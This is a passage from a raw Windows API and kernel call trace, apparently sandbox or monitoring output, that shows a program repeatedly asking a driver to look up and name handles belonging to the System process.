(ApcState=0xfffff880054735d0) [0135.143] PsReleaseProcessExitSynchronization () returned 0x2 [0135.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.144] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.144] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0135.144] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.144] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.144] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.144] PsAcquireProcessExitSynchronization () returned 0x0 [0135.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.144] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0135.144] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.144] PsReleaseProcessExitSynchronization () returned 0x2 [0135.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.144] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.144] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0135.144] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.144] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.144] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.144] PsAcquireProcessExitSynchronization () returned 0x0 [0135.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.144] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0135.144] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.144] PsReleaseProcessExitSynchronization () returned 0x2 [0135.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.144] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.144] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0135.144] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.145] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.145] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.145] PsAcquireProcessExitSynchronization () returned 0x0 [0135.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0135.145] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.145] PsReleaseProcessExitSynchronization () returned 0x2 [0135.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.145] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.145] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0135.145] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.145] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.145] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.145] PsAcquireProcessExitSynchronization () returned 0x0 [0135.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0135.145] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.145] PsReleaseProcessExitSynchronization () returned 0x2 [0135.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.145] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.145] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0135.145] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.145] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.145] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.145] PsAcquireProcessExitSynchronization () returned 0x0 [0135.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800258ec90, HandleInformation=0x0) returned 0x0 [0135.146] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.146] PsReleaseProcessExitSynchronization () returned 0x2 [0135.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.146] ObQueryNameString (in: Object=0xfffffa800258ec90, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.146] ObfDereferenceObject (Object=0xfffffa800258ec90) returned 0x2 [0135.146] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.146] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.146] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.146] PsAcquireProcessExitSynchronization () returned 0x0 [0135.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.146] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0135.146] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.146] PsReleaseProcessExitSynchronization () returned 0x2 [0135.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.146] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.146] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0135.146] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.146] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.146] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.146] PsAcquireProcessExitSynchronization () returned 0x0 [0135.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.146] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0135.146] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.146] PsReleaseProcessExitSynchronization () returned 0x2 [0135.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.146] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.146] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0135.146] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.147] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.147] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.147] PsAcquireProcessExitSynchronization () returned 0x0 [0135.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021563f0, HandleInformation=0x0) returned 0x0 [0135.147] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.147] PsReleaseProcessExitSynchronization () returned 0x2 [0135.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.147] ObQueryNameString (in: Object=0xfffffa80021563f0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.147] ObfDereferenceObject (Object=0xfffffa80021563f0) returned 0x2 [0135.147] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.147] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.147] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.147] PsAcquireProcessExitSynchronization () returned 0x0 [0135.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002849d20, HandleInformation=0x0) returned 0x0 [0135.147] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.147] PsReleaseProcessExitSynchronization () returned 0x2 [0135.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.147] ObQueryNameString (in: Object=0xfffffa8002849d20, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.147] ObfDereferenceObject (Object=0xfffffa8002849d20) returned 0x2 [0135.147] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.147] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.147] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.147] PsAcquireProcessExitSynchronization () returned 0x0 [0135.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213b2f0, HandleInformation=0x0) returned 0x0 [0135.148] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.148] PsReleaseProcessExitSynchronization () returned 0x2 [0135.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.148] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.148] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0135.148] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.148] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.148] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.148] PsAcquireProcessExitSynchronization () returned 0x0 [0135.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0135.148] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.148] PsReleaseProcessExitSynchronization () returned 0x2 [0135.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.148] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.148] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0135.148] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.148] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.148] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.148] PsAcquireProcessExitSynchronization () returned 0x0 [0135.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.148] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0135.148] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.148] PsReleaseProcessExitSynchronization () returned 0x2 [0135.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.148] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.149] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0135.149] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.149] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.149] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.149] PsAcquireProcessExitSynchronization () returned 0x0 [0135.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.149] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0135.149] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.149] PsReleaseProcessExitSynchronization () returned 0x2 [0135.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.149] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.149] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0135.149] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.149] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.149] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.149] PsAcquireProcessExitSynchronization () returned 0x0 [0135.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214e1f0, HandleInformation=0x0) returned 0x0 [0135.150] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.150] PsReleaseProcessExitSynchronization () returned 0x2 [0135.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.150] ObQueryNameString (in: Object=0xfffffa800214e1f0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.150] ObfDereferenceObject (Object=0xfffffa800214e1f0) returned 0x2 [0135.150] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.150] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.150] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.150] PsAcquireProcessExitSynchronization () returned 0x0 [0135.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213b780, HandleInformation=0x0) returned 0x0 [0135.150] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.150] PsReleaseProcessExitSynchronization () returned 0x2 [0135.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.150] ObQueryNameString (in: Object=0xfffffa800213b780, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.150] ObfDereferenceObject (Object=0xfffffa800213b780) returned 0x2 [0135.150] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.150] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 